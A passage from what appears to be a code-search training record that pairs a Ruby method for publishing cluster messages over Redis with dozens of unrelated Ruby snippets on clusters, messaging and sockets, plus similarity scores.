"def on_upstream_message(payload)\n return unless handle_event? payload\n id, req, responses, event, nodes = self.extract(payload)\n info \"on_upstream_message: event = #{event.to_hash}\"\n intersection = self.nodeUrns & nodes\n info \"Node Intersection is #{intersection.to_yaml}\"\n hash = {type: :message, nodeUrn: intersection.to_a.first, timestamp: event.timestamp, payload: Base64.encode64(event.messageBytes)}\n hash[:requestId] = id if id\n info \"status hash: #{hash}\"\n\n self.inform_status(hash)\n end",
"def update_message(data); end",
"def update_message(data); end",
"def route(stanza, node)\n log.debug { \"Sent cluster stanza: %s -> %s\\n%s\\n\" % [@cluster.id, node, stanza] }\n redis.publish(\"cluster:nodes:#{node}\", {\n from: @cluster.id,\n type: STANZA,\n stanza: stanza.to_s\n }.to_json)\n end",
"def parse_clusters(*cluster_elements)\n results = []\n cluster_elements.each do |element|\n results += parse_cluster(element)\n end\n\n results\n end",
"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def get_cluster request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_cluster_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dataproc::V1::Cluster.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def process\n caption = response_text\n channel = channel_by_keyword\n channel_group = channel_group_by_keyword\n\n if channel || channel_group\n tmp = response_text.split\n tmp.shift\n caption = tmp.join(\" \")\n end\n\n delivery_notice = nil\n dn_responding_message_unconfigured = nil\n responding_messages_delivery = responding_messages_delivery_with_no_responses(channel, channel_group)\n\n responding_messages_delivery.each do |dn|\n unless dn.message.check_subscriber_response(response_text)\n dn_responding_message_unconfigured = dn\n next\n end\n delivery_notice = dn\n break\n end\n\n delivery_notice ||= dn_responding_message_unconfigured\n delivery_notice ||= last_sent_relevant_delivery(channel, channel_group)\n\n process_delivery_notice(\n delivery_notice,\n caption: caption,\n channel: channel,\n channel_group: channel_group,\n )\n end",
"def handle_incoming_message(data)\n message = parse(data)\n text = message[:text].downcase\n\n if text.include?(\"now playing\") || text.include?(\"coming next\")\n @logger.debug(\"Discarding message #{message}\")\n else\n @logger.debug(\"Keeping message #{message}\")\n # fire on_message callbacks\n notify(:on_message, message)\n # if the is_new? is true then fire on_programme_changed callbacks\n notify(:on_programme_changed, message) if is_new?(message)\n # store the message in the cache\n cache_store(message[:station_id], message)\n end\n end",
"def process workflow_class, message\n @processed_messages << OpenStruct.new(workflow_class: workflow_class, message: message)\n end",
"def pre_process(message)\n end",
"def parse(message)\n station = message.topic.gsub('#', '').gsub('bbc/livetext/', '')\n {\n :station_id => station,\n :text => message.payload,\n :received => Time.now\n }\n end",
"def before_processing_hook(msg, connection); end",
"def split_cluster(mposts, cluster)\n return nil if mposts.empty?\n # The mposts must be all related to each other, create a cluster from them\n # and then proceed to remaining ones until all are processed\n main_cluster = nil\n while true\n # Create a new raw cluster from mposts and remove them from the old one\n new_cluster = create_raw_cluster(:mposts=>mposts)\n main_cluster ||= new_cluster\n mposts.each {|mpost| cluster.delete(mpost)}\n break if cluster.empty? # all processed\n # Get a new set of related mposts from remaining mposts\n mposts = Set.new\n master_mpost = MeetMasterMpost.new\n cluster.mposts.each {|mpost|\n if (mposts.empty? || master_mpost.see_each_other?(mpost))\n mposts << mpost\n master_mpost << mpost\n end\n }\n end\n # Get rid of the old cluster\n pop_cluster(cluster)\n return main_cluster\n end",
"def run\n @dialog.setMainStatusAndLogIt(\"Tagging #{@cluster_run}\")\n @dialog.setMainProgress(0, @clusters.size)\n @clusters.each_with_index do |c, c_index|\n @dialog.setMainProgress(c_index)\n run_cluster(c)\n return nil if @dialog.abortWasRequested\n end\n close_nx\n end",
"def processmessage(message)\n command = message.split(':')\n\n case command[0]\n when 'pin_assign'\n pin_assign(command[1])\n when 'pin_patternorder'\n pin_patternorder(command[1])\n when 'pin_cycle'\n pin_cycle(command[1])\n when 'pin_clear'\n pin_clear\n when 'pin_format'\n pin_format(command[1])\n when 'pin_timing'\n pin_timing(command[1])\n when 'pin_timingv2'\n pin_timingv2(command[1])\n when 'version'\n \"P:#{@version}\"\n else\n 'Error Invalid command: ' + command[0].to_s\n end\n end",
"def handle(message)\n case message.fetch('subtype') { :default }\n when :default, 'channel_join', 'channel_leave', 'channel_topic',\n 'channel_purpose', 'channel_name', 'channel_archive',\n 'channel_unarchive', 'group_join', 'group_leave', 'group_topic',\n 'group_purpose', 'group_name', 'group_archive', 'group_unarchive',\n 'file_share', 'file_comment', 'file_mention', 'pinned_item',\n 'unpinned_item'\n store(message)\n end\n end",
"def handleServingLayer(cluster, operation)\n case operation\n when 'bootstrap'\n puts 'bootstrap serving layer'\n when 'start'\n puts 'starting serving layer'\n when 'stop'\n puts 'stopping serving layer'\n else\n puts \"ERROR\"\n end\n end",
"def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def perform(server_address, *args)\n # May seem wasteful to open a new connection per each span but the way the scribe is done\n # it is difficult to ensure there will be no threading issues unless we create here the connection\n scribe = Scribe.new(server_address, CATEGORY, ADD_NEWLINES_TO_MESSAGES, timeout: PROTOCOL_TIMEOUT)\n scribe.log(*args)\n rescue ThriftClient::NoServersAvailable, Thrift::Exception\n # I couldn't care less\n end"
] |
[
"0.668477",
"0.6542275",
"0.60334563",
"0.60098904",
"0.59353536",
"0.5857898",
"0.57631296",
"0.5696706",
"0.5690921",
"0.56630033",
"0.5610191",
"0.5501912",
"0.5491493",
"0.5482179",
"0.5474287",
"0.5471767",
"0.54225063",
"0.54127574",
"0.5386338",
"0.5381757",
"0.5380451",
"0.53527987",
"0.53512",
"0.5350013",
"0.53247815",
"0.5318175",
"0.5313346",
"0.528332",
"0.5268245",
"0.5268245",
"0.52594477",
"0.5250391",
"0.5244629",
"0.5240646",
"0.5227557",
"0.5223803",
"0.5188563",
"0.5178624",
"0.51775575",
"0.51727855",
"0.51680404",
"0.51467633",
"0.5143129",
"0.5141254",
"0.51383203",
"0.51339245",
"0.512993",
"0.5125202",
"0.512367",
"0.51211214",
"0.5118217",
"0.51111984",
"0.51065016",
"0.5097347",
"0.50866866",
"0.50782955",
"0.50766146",
"0.5069644",
"0.5057307",
"0.5048605",
"0.5039434",
"0.5034416",
"0.50317514",
"0.50285447",
"0.50248563",
"0.5011289",
"0.5008958",
"0.5008586",
"0.4989951",
"0.49825633",
"0.4977758",
"0.49768752",
"0.49664524",
"0.49634227",
"0.49630958",
"0.49621442",
"0.4962094",
"0.49576637",
"0.49469456",
"0.4943769",
"0.4931024",
"0.49303856",
"0.49303856",
"0.49198785",
"0.49186072",
"0.49125612",
"0.49061885",
"0.48950842",
"0.48899916",
"0.48870385",
"0.48859394",
"0.4885337",
"0.4884182",
"0.48812196",
"0.4878298",
"0.48741117",
"0.48725525",
"0.4870561",
"0.48650244",
"0.4854733"
] |
0.7622374
|
0
|
The node_id of the current master
|
def master_id()
@master_id ||= ""
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def master_node\n {:nodename => @master_nodename}\n end",
"def flume_master_id\n flume_masters.find_index( ClusterChef::NodeUtils.private_ip_of( node ) )\n end",
"def neo_node_id\n @internal_node.getId()\n end",
"def ext_id id\n \"#{@master_node}|#{id}\"\n end",
"def master_nid(nid)\n\n nid.split('-').first\n end",
"def id\n @node.id\n end",
"def node_id()\n @node_id ||= Config.slanger_id || SecureRandom.uuid\n end",
"def master_pid\n @master_pid ||= Process.pid\n end",
"def root_node_id\n 1\n end",
"def node_id\n jid.resource\n end",
"def id\n @id ||= node.attr :tid\n end",
"def node_cluster_id() ; info[:node_cluster] ; end",
"def get_id(node)\n node.parent.parent.attributes[\"id\"].value\n end",
"def master_uuid\n return @master_uuid unless @master_uuid.nil?\n raise \"Pool#master_uuid requires gtid_mode\" unless gtid_mode?\n if master.running?\n @master_uuid = master.server_uuid\n return @master_uuid\n end\n slaves.select(&:running?).each do |s|\n if s.master == master\n master_uuid = s.slave_status[:master_uuid]\n unless master_uuid.nil? || master_uuid == ''\n @master_uuid = master_uuid\n return @master_uuid\n end\n end\n end\n raise \"Unable to determine the master_uuid for #{self}\"\n end",
"def get_node_id(node)\n node[\"self\"].split('/').last\nend",
"def node_id(r)\n r.send(data_class.primary_key)\n end",
"def get_node_id\n # @@neo = Neography::Rest.new\n begin\n qur = \"MATCH (n {object_id: \"+self.id.to_s+\", object_type: \\'\"+self.class.to_s+\"\\' }) RETURN n LIMIT 1\"\n response = @@neo.execute_query(qur)\n node_id = response[\"data\"].flatten.first[\"metadata\"][\"id\"]\n return node_id\n rescue Exception\n return nil\n end\n end",
"def root_id\n data[:root_id]\n end",
"def current_pid\n @master_state.current_listener_pid\n end",
"def id\n source_node[:id]\n end",
"def root_id\n if is_root?\n id\n else\n root.id\n end\n end",
"def master\n can_view? && @strategy.master_node && @strategy.master_node[:nodename]\n end",
"def neo_id\n getId\n end",
"def root_id\n if ancestor_ids.empty? then\n id\n else\n branches.first.split('/').first.to_i\n end\n end",
"def master_username\n data[:master_username]\n end",
"def master_username\n data[:master_username]\n end",
"def inject_master_node_id(expected_key)\n if cached_values['master']\n expected_key.gsub(/\\$master/, cached_values['master'])\n else\n expected_key\n end\n end",
"def dom_id\n node['id']\n end",
"def root_id\n if ancestor_ids.empty? then\n id\n else\n branches.first.split('/').first\n end\n end",
"def dom_id\n\t\tnode['id']\n\tend",
"def generate_node_id\n # a little bit more creative\n if @registry.respond_to? :unique\n @registry.unique\n else\n digest = Digest::SHA512.new\n seed = Socket.gethostname + rand.to_s + Time.now.to_s + SecureRandom.hex\n digest.update(seed).to_s\n end\n end",
"def neo_id\n getId\n end",
"def dom_id\n node['id']\n end",
"def dom_id\n node['id']\n end",
"def local_key\n LocalNode.new.key\n end",
"def server_id\n @host.id\n end",
"def thread_id()\n #This is a stub, used for indexing\n end",
"def tracking_number\n @root.attribute(\"ID\").to_s\n end",
"def tracking_number\n @root.attribute(\"ID\").to_s\n end",
"def local_id; end",
"def pid()\n #This is a stub, used for indexing\n end",
"def delivery_cluster_id\n unless node['delivery-cluster']['id']\n node.set['delivery-cluster']['id'] = \"test-#{SecureRandom.hex(3)}\"\n node.save\n end\n\n node['delivery-cluster']['id']\n end",
"def delivery_cluster_id\n unless node['delivery-cluster']['id']\n node.set['delivery-cluster']['id'] = \"test-#{SecureRandom.hex(3)}\"\n node.save\n end\n\n node['delivery-cluster']['id']\n end",
"def parent(node_id)\n node_id >> 1 # node_id / 2\n end",
"def analytics_cluster_id\n unless node['analytics-cluster']['id']\n node.set['analytics-cluster']['id'] = \"test-#{SecureRandom.hex(3)}\"\n node.save\n end\n\n node['analytics-cluster']['id']\n end",
"def entity_node_id\n node = nil \n begin\n node = Neography::Node.find(\"actionables_nodes_index\", \"class0id\", \"#{self.class.name}0#{self.id}\")\n rescue\n end\n if node \n node_id = node.neo_id.to_i\n else\n query = \"MATCH (n {object_id: #{self.id.to_s}, object_type: \\'#{self.class.name}\\' }) RETURN n LIMIT 1\"\n get_node_id(query)\n end\n end",
"def user_id\n item.jid.node if item\n end",
"def node\n @node ||= Socket.gethostname\n end",
"def master_username\n @dbi.master_username\n end",
"def master_username\n @dbi.master_username\n end",
"def get_target_id\n target_id = send_request_cgi({\n 'method' => 'GET',\n 'uri'=> normalize_uri(datastore[\"Nifi-Path\"], '/process-groups/root')\n }).get_json_document[\"id\"]\n end",
"def Node(node_id)\n return group(\"node#{node_id}\")\n end",
"def server_id\n @server_id ||= Gititback::Support.hostname\n end",
"def master?\n state = get_es_resource(\"/_cluster/state?filter_routing_table=true&filter_metadata=true&filter_indices=true&filter_blocks=true&filter_nodes=true\")\n local = get_es_resource('/_nodes/_local')\n local['nodes'].keys.first == state['master_node']\n end",
"def master_hostname\n @master_hostname ||= (user_configuration_from_key('master_solr', 'hostname') || hostname)\n end",
"def hash\n node_id.hash\n end",
"def get_server_id\n return nil\n end",
"def to_param\n neo_node_id.to_s\n end",
"def root_hash\n self.node_hash root_node_id\n end",
"def get_id\n id = Thread.current[:id] \n id = 1 if @java_flag\n id\n end",
"def manager_id\n @manager_id ||= [\n Socket.gethostbyname(Socket.gethostname)[0],\n Process.pid\n ].join('-')\n end",
"def hex; @node_id.hexlify; end",
"def thread_id\n check_connection\n @protocol.thread_id\n end",
"def primary_slave_name\n :primary_slave\n end",
"def thread_id\n\n\t\t::Pantheios::Core.thread_id\n\tend",
"def root_id\n @values.fetch('ai.operation.rootId') { \n @values['ai.operation.rootId'] = nil\n }\n end",
"def id\n replication_id\n end",
"def get_assembly_and_node_id(context_params)\n response = info(context_params)\n unless response.ok?\n raise DtkError, \"Unable to retrive node information, please try again.\"\n end\n\n return response.data(:assembly_id), response.data(:id)\n end",
"def get id\n @nodes[id]\n end",
"def thread_id\n return @thread_id\n end",
"def process_id\n\n\t\t::Pantheios::Core.process_id\n\tend",
"def dispatch_id\n local_ip + '/' + Process.pid.to_s\n end",
"def root_id\n return @values['ai.operation.rootId'] if @values.key?('ai.operation.rootId')\n @defaults['ai.operation.rootId']\n end",
"def get_nodes_imgid(item)\n id = fetch_raw_data \"wikimedia\", \"nodes\", item\n return id\n end",
"def redis_master_from_master_file\n set_current_redis_master_from_master_file if redis_master_file_changed?\n @current_master\n end",
"def dom_id\n form_node['id']\n end",
"def replication_source_identifier\n data[:replication_source_identifier]\n end",
"def node_id_s\n node_bytes = [ @node_id >> 32, @node_id & 0xFFFF_FFFF].pack(\"NN\")\n elements = node_bytes.unpack(\"CCa6\")\n node = elements[-1].unpack('C*')\n elements[-1] = '%02x%02x%02x%02x%02x%02x' % node\n \"%02x%02x-%s\" % elements\n end",
"def master_port\n @master_port ||= (user_configuration_from_key('master_solr', 'port') || port).to_i\n end",
"def fork_master\n defined?(@@fork_master) ? @@fork_master : nil\n end",
"def current_node\n Neo4j.load(@traversal_position.currentNode.getId)\n end",
"def db_cluster_identifier\n data[:db_cluster_identifier]\n end",
"def master\n\t\t# TODO: Convert to player object\n\t\t@db.hget('sgt-job:'+@id, 'master')\n\tend",
"def server_id\n self.delegate\n end",
"def child_node_id(branch)\n raise unless branch >= 0 && branch < 16\n raise unless depth < 64\n\n # Copy local key and assign branch number to\n # nibble in byte at local depth\n child = key.unpack(\"C*\")\n child[depth/2] |= ((depth & 1) == 1) ? branch : (branch << 4)\n\n NodeID.new :depth => (depth + 1),\n :key => child.pack(\"C*\")\n end",
"def node\n publish[:node]\n end",
"def identifier\n children[0]\n end",
"def identifier\n children[0]\n end",
"def identifier\n children[0]\n end",
"def local_node\n @local_node ||= DPN::Workers.nodes.node(to_node)\n end",
"def kernel_id\n data[:kernel_id]\n end",
"def read_replica_source_db_cluster_identifier\n data[:read_replica_source_db_cluster_identifier]\n end",
"def current_user_id\n @server.current_user_id\n end",
"def root_node\n root_nodes.first\n end",
"def find_existing_master\n if data = @zk.get(redis_nodes_path).first\n nodes = symbolize_keys(decode(data))\n master = node_from(nodes[:master])\n logger.info(\"Master from existing znode config: #{master || 'none'}\")\n # Check for case where a node previously thought to be the master was\n # somehow manually reconfigured to be a slave outside of the node manager's\n # control.\n begin\n if master && master.slave?\n raise InvalidNodeRoleError.new(master, :master, :slave)\n end\n rescue RedisFailover::NodeUnavailableError => ex\n logger.warn(\"Failed to check whether existing master has invalid role: #{ex.inspect}\")\n end\n\n master\n end\n rescue ZK::Exceptions::NoNode\n # blank slate, no last known master\n nil\n end",
"def guess_master(nodes)\n master_nodes = nodes.select { |node| node.master? }\n raise NoMasterError if master_nodes.empty?\n raise MultipleMastersError.new(master_nodes) if master_nodes.size > 1\n master_nodes.first\n end",
"def server_hostname\n @node['serverHostname']\n end",
"def generate_node_number\n seed_data = if node['fqdn'].nil?\n \"#{node['ipaddress']}#{node['macaddress']}#{node['ip6address']}\"\n else\n node['fqdn']\n end\n Digest::MD5.hexdigest(seed_data).unpack1('L')\n end",
"def get_id\n return @m_id\n end",
"def get_id\n return @m_id\n end"
] |
[
"0.800542",
"0.7987816",
"0.77484244",
"0.7692792",
"0.7689161",
"0.7587133",
"0.7584213",
"0.75250876",
"0.7519579",
"0.7382893",
"0.71400213",
"0.7113706",
"0.70939934",
"0.70452034",
"0.70216316",
"0.70202845",
"0.69715834",
"0.6863264",
"0.6851109",
"0.6815256",
"0.67276555",
"0.6727269",
"0.6723747",
"0.67053336",
"0.6667656",
"0.6667656",
"0.6661059",
"0.66480637",
"0.66257066",
"0.6622505",
"0.6571088",
"0.65148497",
"0.6456235",
"0.6456235",
"0.6445162",
"0.6421376",
"0.6411804",
"0.63927823",
"0.63927823",
"0.63804317",
"0.63788295",
"0.63714486",
"0.63714486",
"0.63565594",
"0.63143486",
"0.62678665",
"0.6260172",
"0.6252697",
"0.6252095",
"0.6252095",
"0.6251739",
"0.6223651",
"0.6210907",
"0.62010705",
"0.61957633",
"0.6177432",
"0.61729455",
"0.61717516",
"0.6169122",
"0.6163903",
"0.61541015",
"0.6148959",
"0.6137108",
"0.61264455",
"0.6118891",
"0.6114692",
"0.6107738",
"0.6103508",
"0.61023206",
"0.60971045",
"0.60966194",
"0.6092069",
"0.60878414",
"0.607795",
"0.6057118",
"0.6050619",
"0.6042497",
"0.6041329",
"0.6036992",
"0.60338473",
"0.603011",
"0.602892",
"0.60047346",
"0.6001143",
"0.59962237",
"0.5988829",
"0.59756196",
"0.59756196",
"0.59756196",
"0.5959837",
"0.59597844",
"0.59596926",
"0.59569466",
"0.594478",
"0.59392434",
"0.59344655",
"0.5930745",
"0.5913705",
"0.5906947",
"0.5906947"
] |
0.80219966
|
0
|
Sends a cluster message
|
def send_message(event, payload = nil, destination = nil)
Redis.publish('slanger:cluster', {sender: node_id, destination: destination, event: event, payload: payload}.to_json)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_mess(mess)\n\t@client.puts(mess)\t\nend",
"def route(stanza, node)\n log.debug { \"Sent cluster stanza: %s -> %s\\n%s\\n\" % [@cluster.id, node, stanza] }\n redis.publish(\"cluster:nodes:#{node}\", {\n from: @cluster.id,\n type: STANZA,\n stanza: stanza.to_s\n }.to_json)\n end",
"def cluster() node[:cluster_name] ; end",
"def send(message)\n\t\t\t@conn.send(message)\n\t\tend",
"def cluster(subcommand, *args)\n subcommand = subcommand.to_s.downcase\n block = case subcommand\n when 'slots'\n HashifyClusterSlots\n when 'nodes'\n HashifyClusterNodes\n when 'slaves'\n HashifyClusterSlaves\n when 'info'\n HashifyInfo\n else\n Noop\n end\n\n send_command([:cluster, subcommand] + args, &block)\n end",
"def peer_send(peer,message)\r\n\t\t\tpeer.socket.puts(message)\r\n\t\tend",
"def broadcast(message)\n\t\t@clients.each do |client|\n\t\t\tclient.puts message\n\t\tend\n\tend",
"def cluster name\n Cluster.receive connection.resource(:get, \"clusters/#{name}\")\n end",
"def send_node(uuid, label, message = \"\")\n send_message(exclusive(uuid), label, message)\n end",
"def send_message(message)\n @networking.send_message(message)\n end",
"def send_message(message)\n @socket.send(message << \"\\n\", 0, nil, @client)\n end",
"def send(message)\n puts prefix + message\n end",
"def send(msg)\n @socket.puts msg\n puts '<< ' << msg\n end",
"def send_message(msg)\n session.transport.send_message(msg)\n end",
"def send(message)\n socket.send(message, 0, address, port)\n end",
"def sendM(message)\n\t\t@conexion.puts(message)\t\n\tend",
"def enviarMensaje(mensaje)\n @@socket.puts mensaje\n end",
"def process_message(message)\n # Extract fields from message\n begin\n data = JSON.parse message\n rescue JSON::ParserError\n Logger.error log_message(\"JSON Parse error on cluster message: '\" + msg + \"'\")\n return \n end\n sender = data['sender']\n return if sender == node_id # Ignore own messages\n destination = data['destination']\n if (destination.nil? || destination == node_id)\n # This is a broadcast, or a message to our node, we need to process it\n event = data['event'].to_sym\n if event == :election_enquiry && is_master? && sender < node_id\n # We are the master, and the enquirer doesn't have an node_id\n # higher than us. Reply to this enquiry telling it we are the master.\n Logger.debug log_message\"Sending master enquiry reply to: \" + sender\n send_enquiry_reply(sender)\n elsif event == :election_enquiry_reply && sender > node_id\n # The master replied, accept it\n accept_master(sender)\n elsif event == :election_victory && sender < node_id\n # Some node claims to be the master, but its node_id is lower than ours ;\n # Tell all nodes we are the real master.\n Logger.info log_message\"Another node claimed to be the master: \" + sender + \". Sending new victory message to correct it.\"\n send_victory\n elsif event == :election_victory && sender > node_id && (sender > master_id || master_last_seen_unix_timestamp < Time.now.to_i - 60)\n # Some node claims to be the master, and its node_id is greater than ours\n # and its node_id is greater than the currently known master, or the master is\n # outdated. Accept the node as new master\n accept_master(sender)\n elsif event == :master_alive && sender == master_id \n # Master is alive\n @master_last_seen_unix_timestamp = Time.now.to_i \n refesh_master_timeout\n end\n end\n end",
"def put(msg)\n socket.write(msg + \"\\n\") if socket\n end",
"def send_message(mesg, options = {})\n @client.ping mesg, options\n end",
"def broadcast( msg )\n @clients.each do |client|\n client.sock.puts \"Announce: #{msg}\"\n end\n log( \"[broadcast] #{msg}\" )\n end",
"def send_command( command )\n cmd = \"MESSAGET #{command.size}\\n#{command}\\n\"\n logger.debug( \">>> Sending cmd #{cmd.gsub( /\\n/, ' ' )}\" )\n \n out_socket.send( cmd , 0 )\n result = out_socket.recv(100)\n logger.debug( \"<<< Result ==> #{result}\" )\n result\n end",
"def send(message)\n ## empty\n end",
"def send_message(message, spark)\n # avoid further processing into the multi redis command\n channel_name = message[:sent_to]\n h_key = hsdq_key message\n burst_j = message.to_json\n spark_j = spark.to_json\n bkey = burst_key(message)\n\n cx_data.multi do\n cx_data.hset h_key, bkey, burst_j\n cx_data.expire h_key, 259200 #3 days todo set by options\n cx_data.rpush channel_name, spark_j\n end\n end",
"def broadcast(type)\n redis.publish(ALL, {\n from: @cluster.id,\n type: type,\n time: Time.now.to_i\n }.to_json)\n end",
"def broadcast_msg( msg )\n\t\t@users.each do |cl|\n\t\t\tcl.add_output( msg )\n\t\tend\n\tend",
"def send_command(command)\n @client.write \"#{command}\\r\\n\"\n end",
"def send_message(msg); end",
"def share(stanza)\n log.debug { \"Sent shared cluster stanza: %s -> %s\\n\" % [@cluster.id, stanza] }\n redis.publish(SHARE, {\n from: @cluster.id,\n type: STANZA,\n stanza: stanza.to_s\n }.to_json)\n end",
"def send(data)\n @client.send(data)\n end",
"def send_message(message); end",
"def send_message(message); end",
"def cluster(subcommand, *args); end",
"def sendCommand(cmprt, cmadr, cm_msg)\n cmstr = cm_msg\n @cmc_socket.send(cmstr, 0, cmadr, cmprt)\n end",
"def send_message(opts = {})\n @client.update(opts[:message])\n end",
"def broadcast message\n @clients.keys.each do |key|\n notify key, message\n end\n end",
"def message( msg, sender )\n @clients.each do |client|\n client.sock.puts \"#{sender}: #{msg}\" unless sender.port == client.port\n end\n log( \"[message] #{sender}: #{msg}\" )\n end",
"def send(message)\n message\n end",
"def change_cluster_node_type(cluster_node_type)\n cmd = \"rabbitmqctl change_cluster_node_type #{cluster_node_type}\"\n Chef::Log.debug(\"[rabbitmq_cluster] Executing #{cmd}\")\n cmd = get_shellout(cmd)\n cmd.run_command\n begin\n cmd.error!\n Chef::Log.debug(\"[rabbitmq_cluster] #{cmd.stdout}\")\n rescue\n err = cmd.stderr\n Chef::Log.warn(\"[rabbitmq_cluster] #{err}\")\n if err.include?('{not_clustered,\"Non-clustered nodes can only be disc nodes.\"}')\n Chef::Log.info('[rabbitmq_cluster] Node is not clustered yet, error will be ignored.')\n else\n raise(\"[rabbitmq_cluster] #{err}\")\n end\n end\n end",
"def broadcastMsg( msg )\n\t\t@users.each {|cl|\n\t\t\tcl.addOutput( msg )\n\t\t}\n\tend",
"def publish msg\n @conn.send_data :opcode => PUBLISH, :channel => @name, :data => msg.to_s\n end",
"def send_to_clients(msg)\n EM.schedule do\n @clients.each do |socket|\n socket.send msg\n end\n end\n end",
"def create_cluster(name, options = {})\n cluster = Cluster.receive(cluster_name: name, href: File.join('clusters', name))\n cluster.create options\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def send(message)\n if message.length > 0\n # The client will return an empty string\n # on success, or it will return an error\n error = @client.transmit(message)\n if error.length > 0\n new_message(error)\n end\n end\n end",
"def sendmsg(s)\n @sock.send \"#{s}\\n\", 0 \n end",
"def send(msg=\"\")\n\t\tif @connected\n\t\t\t@sock.write \"\\1#{msg}\\r\\n\" # leading \\1 for terse reply\n\t\tend\n\tend",
"def send_message(message)\n socket.enqueue_packet(message)\n end",
"def contract(\n region, asg_name, ecs_cluster_name,\n host_cluster = nil, service_cluster = nil\n )\n batch_size = options[:batch_size]\n\n host_cluster ||= Rollo::Model::HostCluster.new(asg_name, region)\n service_cluster ||= Rollo::Model::ServiceCluster.new(\n ecs_cluster_name, region\n )\n\n say(\"Decreasing host cluster desired capacity by #{batch_size}...\")\n # rubocop:disable Metrics/BlockLength\n with_padding do\n host_cluster.decrease_capacity_by(batch_size) do |on|\n on.prepare do |current, target|\n say(\n \"Changing desired capacity from #{current} to \" \\\n \"#{target}...\"\n )\n end\n on.waiting_for_start do |attempt|\n say(\n 'Waiting for capacity change to start ' \\\n \"(attempt #{attempt})...\"\n )\n end\n on.waiting_for_end do |attempt|\n say(\n 'Waiting for capacity change to complete ' \\\n \"(attempt #{attempt})...\"\n )\n end\n on.waiting_for_health do |attempt|\n say(\n 'Waiting for host cluster to reach healthy state ' \\\n \"(attempt #{attempt})...\"\n )\n end\n end\n service_cluster.with_replica_services do |services|\n services.each_service do |service|\n service.wait_for_service_health do |on|\n on.waiting_for_health do |attempt|\n say(\n \"Waiting for service #{service.name} to reach a \" \\\n \"steady state (attempt #{attempt})...\"\n )\n end\n end\n end\n end\n end\n # rubocop:enable Metrics/BlockLength\n say 'Host cluster desired capacity decreased, continuing...'\n end",
"def update\n respond_to do |format|\n if @cluster.update(cluster_params)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster }\n else\n format.html { render :edit }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cluster.update(cluster_params)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster }\n else\n format.html { render :edit }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send(msg)\n @connection.write(\n @serializer.en(msg))\n rescue Exception => e\n raise\n end",
"def send_message(message)\n @socket.write(message)\n @socket.write(\"\\004\")\n end",
"def send(message)\n length = sprintf(\"%-8d\", message.length)\n @socket.write(\"#{length}#{message}\")\n end",
"def send_message(message)\n check_parenthesis(message)\n puts \"Send: #{message}\" if @debug\n connection{|c| c.write(message)}\n end",
"def sync_cluster_role\n save_cluster_general_data\n end",
"def puts(message)\n\t\t@socket.puts(message)\n\tend",
"def run_cluster(cluster)\n name = cluster_id(cluster)\n @dialog.setMainStatusAndLogIt(\"Tagging Cluster #{@cluster_run}-#{name}\")\n sorted = ClusterSorter.new(@dialog, @cluster_run, cluster)\n items = sorted.review\n tag = \"ClusterReview|#{@cluster_run}|#{name}\"\n @dialog.setSubStatusAndLogIt(\"Tagging #{items.size} items with: #{tag}\")\n @dialog.setSubProgress(0)\n @annotater.add_tag(tag, items)\n end",
"def send(message)\n\t\tbegin\n\t\t\t@conn.send_message(message)\n\t\trescue IOException, NativeException\n\t\t\traise IOError, 'Failed to send message to USAR server'\n\t\tend\n\tend",
"def create\n @cluster = Cluster.new(params[:cluster])\n\n respond_to do |format|\n if @cluster.save\n flash[:notice] = 'Cluster was successfully created.'\n format.html { redirect_to(@cluster) }\n format.xml { render :xml => @cluster, :status => :created, :location => @cluster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def send_data_to_node(hash)\n connection = get_connection(hash)\n if connection\n data = Marshal.dump(hash)\n connection.send_data(data)\n connection.lock\n JR::JobLogger.log \"Distributor sent job '#{hash['name']}' to '#{connection.name}'\"\n else\n EM.next_tick do\n send_data_to_node(hash)\n end\n end\n end",
"def on_message(channel, message)\n doc = JSON.parse(message)\n case channel\n when ALL then to_all(doc)\n when SHARE then analyze_share(doc)\n when @channel then to_node(doc)\n end\n rescue => e\n log.error(\"Cluster subscription message failed: #{e}\")\n end",
